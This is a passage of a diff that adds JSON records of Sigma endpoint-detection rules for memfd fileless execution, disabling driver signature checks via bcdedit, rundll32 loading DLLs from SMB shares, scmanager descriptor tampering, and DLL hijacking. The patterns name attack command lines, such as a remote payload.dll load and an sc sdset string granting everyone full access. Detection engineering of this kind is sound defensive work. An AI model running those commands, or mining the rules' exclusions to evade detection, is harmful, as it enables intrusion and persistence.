+  "last_update": "2026-03-23T11:45:34.074540Z",
+  "creation_date": "2026-03-23T11:45:34.074542Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074547Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/declawing-pumakit",
+    "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html",
+    "https://man7.org/linux/man-pages/man2/memfd_create.2.html",
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1620_fileless_execution_using_memfd.yml",
+  "content": "title: Fileless Process Execution via Memfd\nid: 84e95c4d-07d4-49bc-90f2-6545f7ef9b88\ndescription: |\n    Detects the execution of a process with an anonymous image file created via \"memfd_create()\".\n    The \"memfd_create()\" syscall creates an anonymous file that lives in RAM and has a volatile backing storage.\n    Once all references to the file are dropped, it is automatically released.\n    This method, called fileless execution, is typically used by malware to avoid signature-based detection from common security tools.\n    It is recommended to ensure that both the process and its parent had a legitimate reason to do so and that the host wasn't compromised.\nreferences:\n    - https://www.elastic.co/security-labs/declawing-pumakit\n    - https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html\n    - https://man7.org/linux/man-pages/man2/memfd_create.2.html\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2024/11/18\nmodified: 2025/11/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.MemoryExecution\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|startswith: 'memfd:'\n\n    exclusion_lxc:\n        Image: 'memfd:lxc-attach'\n\n    exclusion_containers:\n        Ancestors|contains:\n            # Containerd\n            - 'bin/containerd-shim'\n            # Docker\n            - 'bin/docker-containerd-shim'\n            - '/usr/bin/dockerd'\n            - '|/usr/sbin/dockerd|'\n            - '/usr/libexec/docker/docker-runc-current'\n            # An OCI container runtime monitor.\n            - '/usr/bin/conmon'\n            # Open source tool for developing, managing, and running containers.\n            - '/usr/bin/podman'\n            # The NVIDIA Container Toolkit is a collection of libraries and utilities enabling users to build and run GPU-accelerated containers.\n            - 'bin/nvidia-container-cli'\n\n    exclusion_image:\n        Image:\n            - 'memfd:buildah-chroot-exec'\n            - 'memfd:buildah-chroot-runtime'\n            - 'memfd:dwarfs'\n            - 'memfd:runc_cloned:/proc/self/exe'\n            - 'memfd:crun_cloned:/proc/self/exe'\n\n    exclusion_runtime:\n        Image: 'memfd:runtime'\n        ParentImage:\n            - '*/usr/lib/x86_64-linux-gnu/appimagelauncher/binfmt-bypass'\n            - '/usr/lib/systemd/systemd'\n\n    exclusion_self:\n        Image: 'memfd:crun_cloned:/proc/self/exe'\n        GrandparentImage:\n            - '/usr/libexec/gnome-terminal-server'\n            - '/usr/share/code/code'\n\n    exclusion_datadog:\n        Image: 'memfd:spawn_worker_trampoline'\n        CommandLine|startswith: 'datadog-ipc-helper'\n\n    exclusion_zen_browser:\n        - Image:\n            - 'memfd:exec'\n            - 'memfd:squashfuse'\n          CommandLine|contains: 'squashfuse */zen-x86_64.AppImage *'\n        - Image:\n            - 'memfd:squashfuse'\n            - 'memfd:unsquashfs'\n          ParentImage|endswith: '/zen-browser'\n\n    exclusion_crun:\n        ProcessImage: 'memfd:runc_cloned:/proc/self/exe'\n        ProcessCommandLine|startswith: '/usr/bin/crun '\n\n    exclusion_sophos:\n        ProcessImage: 'memfd:/sophos-subprocess-*-exec?'\n        ProcessCommandLine:\n            - 'runtimedetections-trigger'\n            - '/opt/sophos-spl/plugins/runtimedetections/bin/perf-sensor'\n\n    exclusion_fireeye:\n        ProcessImage: 'memfd:/capsule?-sensor-*-exec?'\n        ProcessCommandLine: '/opt/fireeye/bin/perf-sensor'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84e95c4d-07d4-49bc-90f2-6545f7ef9b88",
+  "rule_name": "Fileless Process Execution via Memfd",
+  "rule_description": "Detects the execution of a process with an anonymous image file created via \"memfd_create()\".\nThe \"memfd_create()\" syscall creates an anonymous file that lives in RAM and has a volatile backing storage.\nOnce all references to the file are dropped, it is automatically released.\nThis method, called fileless execution, is typically used by malware to avoid signature-based detection from common security tools.\nIt is recommended to ensure that both the process and its parent had a legitimate reason to do so and that the host wasn't compromised.\n",
+  "rule_creation_date": "2024-11-18",
+  "rule_modified_date": "2025-11-07",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8539d06a-adc8-4186-8389-94ced1b1912e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070775Z",
+  "creation_date": "2026-03-23T11:45:34.070778Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070783Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option",
+    "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set",
+    "https://attack.mitre.org/techniques/T1562/"
+  ],
+  "name": "t1562_004_disable_driver_signature_check_bcdedit.yml",
+  "content": "title: Driver Signature Check Setting Altered via bcdedit\nid: 8539d06a-adc8-4186-8389-94ced1b1912e\ndescription: |\n    Detects when the driver signature check is disabled using bcdedit.\n    Attackers may disable driver signature check or enable test signing in order to load unsigned malicious drivers.\n    It is recommended to check if this action is expected on this machine, and to investigate if any unsigned drivers have been loaded after this action.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option\n    - https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set\n    - https://attack.mitre.org/techniques/T1562/\ndate: 2022/04/12\nmodified: 2025/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562\n    - attack.t1553\n    - attack.t1553.002\n    - attack.t1553.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\n\ndetection:\n    selection_bcdedit:\n        - Image|endswith: '\\bcdedit.exe'\n        - OriginalFileName: 'bcdedit.exe'\n\n    selection_set:\n        CommandLine|contains:\n            - '/set'\n            - '-set'\n\n    selection_set_testsigning:\n        CommandLine|contains|all:\n            - 'testsigning'\n            - ' on'\n\n    selection_set_loadoptions:\n        CommandLine|contains|all:\n            - 'loadoptions'\n            - 'DISABLE_INTEGRITY_CHECKS'\n\n    selection_set_integrity:\n        CommandLine|contains|all:\n            - 'nointegritychecks'\n            - ' on'\n\n    condition: selection_bcdedit and selection_set and 1 of selection_set_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8539d06a-adc8-4186-8389-94ced1b1912e",
+  "rule_name": "Driver Signature Check Setting Altered via bcdedit",
+  "rule_description": "Detects when the driver signature check is disabled using bcdedit.\nAttackers may disable driver signature check or enable test signing in order to load unsigned malicious drivers.\nIt is recommended to check if this action is expected on this machine, and to investigate if any unsigned drivers have been loaded after this action.\n",
+  "rule_creation_date": "2022-04-12",
+  "rule_modified_date": "2025-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553",
+    "attack.t1553.002",
+    "attack.t1553.006",
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8551ce78-7ac5-492b-96e4-b91d4ec83477",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070331Z",
+  "creation_date": "2026-03-23T11:45:34.070333Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070337Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Rundll32/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_load_dll_smb.yml",
+  "content": "title: Suspicious DLL Loaded from SMB Share\nid: 8551ce78-7ac5-492b-96e4-b91d4ec83477\ndescription: |\n    Detects a suspicious loading of DLL from an SMB Share by rundll32.\n    Attackers can use this technique to evade detection.\n    It is recommended to investigate the loaded DLL and the parent process for suspicious activities.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Rundll32/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/11/03\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # rundll32.exe \\\\10.10.10.10\\share\\payload.dll,EntryPoint\n    selection_1:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n    selection_2:\n        CommandLine|contains: ' \\\\\\\\*\\'\n\n    filter_smb_share_arg:\n        CommandLine|contains: ' ?:\\\\*,* \\\\\\\\*\\'\n\n    exclusion_cmd:\n        CommandLine|contains:\n            - 'printui.dll?PrintUIEntry'\n            - 'printui.dll, PrintUIEntry '\n            - 'printui,PrintUIEntry '\n            - 'printui.dll , PrintUIEntry '\n            - 'rundll32.exe ?:\\Windows\\System32\\mshtml.dll,PrintHTML'\n            - ' ?:\\Windows\\system32\\shell32.dll,OpenAs_RunDLL '\n            - ' ?:\\Program Files\\Windows Photo Viewer\\PhotoAcq.dll,PhotoAndVideoAcquire '\n            - ' ?:\\WINDOWS\\system32\\spool\\DRIVERS\\\\*\\3\\hp*,MonitorPrintJobStatus /pjob='\n            - ' ?:\\Windows\\system32\\spool\\DRIVERS\\\\*\\3\\hp*.dll,CheckDevice /pname'\n            - ' ?:\\windows\\system32\\dsquery.dll,OpenSavedDsQuery '\n            - 'rundll32 url,FileProtocolHandler '\n            # rundll32.exe C:\\\\windows\\\\system32\\\\newdev.dll,pDiDeviceInstallNotification \\\\\\\\.\\\\pipe\\\\PNP_Device_Install_Pipe_1.{93b03590-a1d5-469b-8258-bb3ccd6f4c44} (null)\n            # rundll32.exe C:\\\\Windows\\\\system32\\\\hotplug.dll,HotPlugSafeRemovalNotification \\\\\\\\.\\\\pipe\\\\PNP_HotPlug_Pipe_1.{c8a2ee35-7f69-46a5-a06c-aee47a969b35}\n            - '\\Windows\\system32\\\\*\\\\\\\\.\\pipe\\'\n            # C:\\WINDOWS\\system32\\rundll32.exe fdprint,InvokeTask /ss \\\\?\\USB#VID_04F9&PID_03B7&MI_01#6&13fbb565&0&0001#{6bdd1fc6-810f-11d0-bec7-08002be2092f}\n            - 'rundll32.exe fdprint,InvokeTask /ss'\n            - 'rundll32.exe cryptext.dll,CryptExt' # CryptExtOpenCER / CryptExtAddPFX / CryptExtOpenPKCS7\n            - '?:\\windows\\system32\\rundll32.exe ?:\\windows\\system32\\cryptext.dll,'\n            - '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\system32\\spool\\DRIVERS\\\\*\\3\\cnmsm??.dll,StatusMonitorEntryPoint'\n            - 'rundll32 ?:\\windows\\system32\\spool\\DRIVERS\\\\*\\3\\ssnetmon.d64,StatusMonitor '\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll'\n            - 'rundll32.exe ?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\NalShell.dll,NalExplorerExecuteShortcut '\n            - '?:\\WINDOWS\\System32\\rundll32.exe ?:\\WINDOWS\\System32\\FirewallControlPanel.dll,ShowNotificationDialog '\n            - 'rundll32.exe url.dll,FileProtocolHandler '\n            - 'rundll32 url.dll,FileProtocolHandler '\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\dfshim.dll,ShOpenVerbApplication '\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\dfshim.dll,ShOpenVerbShortcut '\n            - 'rundll32.exe dfshim.dll,ShOpenVerbApplication '\n            - 'rundll32.exe ?:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll,InstallVstoSolution '\n            - '?:\\WINDOWS\\System32\\rundll32.exe ?:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll*ImageView_Fullscreen'\n            - '?:\\WINDOWS\\System32\\rundll32.exe ?:\\WINDOWS\\System32\\shimgvw.dll'\n            - 'rundll32.exe ?:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\X64'\n            - '?:\\WINDOWS\\System32\\rundll32.exe ?:\\Program Files\\CopyTrans HEIC for Windows\\CopyTransHEICforWindows.dll'\n            - 'RUNDLL32.EXE ?:\\program files (x86)\\hp\\digital imaging\\bin\\hpslpsvc64.dll'\n            - '?:\\windows\\system32\\rundll32.exe fdprint,InvokeTask'\n            - '?:\\Windows\\System32\\rundll32.exe shell32.dll,OpenAs_RunDLL'\n            - 'rundll32 SHELL32.dll,ShellExec_RunDLL'\n\n    exclusion_tsworkspace:\n        CommandLine|startswith: '?:\\Windows\\system32\\rundll32.exe tsworkspace,WorkspaceSilentSetup'\n\n    exclusion_distant_epson:\n        CommandLine|startswith:\n            - 'rundll32.exe *\\Epson DS-530\\\\*\\E_UPWJ??.DLL,EPGetVersionEx /LOG:?:\\Users\\\\*\\AppData\\Local\\Temp\\EPSON'\n            - 'rundll32.exe *\\Scanner Epson DS-530\\\\*\\E_UPWJ??.DLL,EPGetVersionEx /LOG:?:\\Users\\\\*\\AppData\\Local\\Temp\\EPSON'\n\n    exclusion_ibm:\n        CommandLine|startswith: 'rundll32.exe *\\IBMi - ACS and Co\\IBMiAccess_v1r1\\Start_Programs\\Windows_x86-64\\acsnative.dll, LunarModule'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8551ce78-7ac5-492b-96e4-b91d4ec83477",
+  "rule_name": "Suspicious DLL Loaded from SMB Share",
+  "rule_description": "Detects a suspicious loading of DLL from an SMB Share by rundll32.\nAttackers can use this technique to evade detection.\nIt is recommended to investigate the loaded DLL and the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8561d1d1-ea2a-4b93-a802-bdc392662355",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072162Z",
+  "creation_date": "2026-03-23T11:45:34.072164Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072168Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://0xv1n.github.io/posts/scmanager/",
+    "https://pentestlab.blog/2023/03/20/persistence-service-control-manager/",
+    "https://attack.mitre.org/techniques/T1543/003/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Sc/"
+  ],
+  "name": "t1543_003_scmanager_security_descriptor_persistence.yml",
+  "content": "title: Suspicious Service's Security Descriptor Modification\nid: 8561d1d1-ea2a-4b93-a802-bdc392662355\ndescription: |\n    Detects a suspicious modification of a service's security descriptor to allow unprivileged users to interact with this service.\n    For example, adversaries can make this change on the service-control manager service (scmanager) to be able to create malicious services that will run under the SYSTEM privileges even with a non admin account.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://0xv1n.github.io/posts/scmanager/\n    - https://pentestlab.blog/2023/03/20/persistence-service-control-manager/\n    - https://attack.mitre.org/techniques/T1543/003/\n    - https://lolbas-project.github.io/lolbas/Binaries/Sc/\ndate: 2023/08/24\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1543.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Sc\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'sc.exe'\n        CommandLine|contains|all:\n            - ' sdset '\n            - ' D:(A;;KA;;;WD)'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8561d1d1-ea2a-4b93-a802-bdc392662355",
+  "rule_name": "Suspicious Service's Security Descriptor Modification",
+  "rule_description": "Detects a suspicious modification of a service's security descriptor to allow unprivileged users to interact with this service.\nFor example, adversaries can make this change on the service-control manager service (scmanager) to be able to create malicious services that will run under the SYSTEM privileges even with a non admin account.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-08-24",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "85976596-5ef3-4f79-a56a-43f6e25c2aee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594180Z",
+  "creation_date": "2026-03-23T11:45:34.594183Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594191Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_unlodctr.yml",
+  "content": "title: DLL Hijacking via unlodctr.exe\nid: 85976596-5ef3-4f79-a56a-43f6e25c2aee\ndescription: |\n    Detects potential Windows DLL Hijacking via unlodctr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'unlodctr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\loadperf.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "85976596-5ef3-4f79-a56a-43f6e25c2aee",
+  "rule_name": "DLL Hijacking via unlodctr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via unlodctr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "85ff5382-3f31-48c8-baa5-9421a4b720be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082285Z",
+  "creation_date": "2026-03-23T11:45:34.082287Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082292Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wsreset.yml",
+  "content": "title: DLL Hijacking via wsreset.exe\nid: 85ff5382-3f31-48c8-baa5-9421a4b720be\ndescription: |\n    Detects potential Windows DLL Hijacking via wsreset.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wsreset.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\licensemanagerapi.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "85ff5382-3f31-48c8-baa5-9421a4b720be",
+  "rule_name": "DLL Hijacking via wsreset.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wsreset.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8610a64e-eb0f-436c-b21d-33f757ea41f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
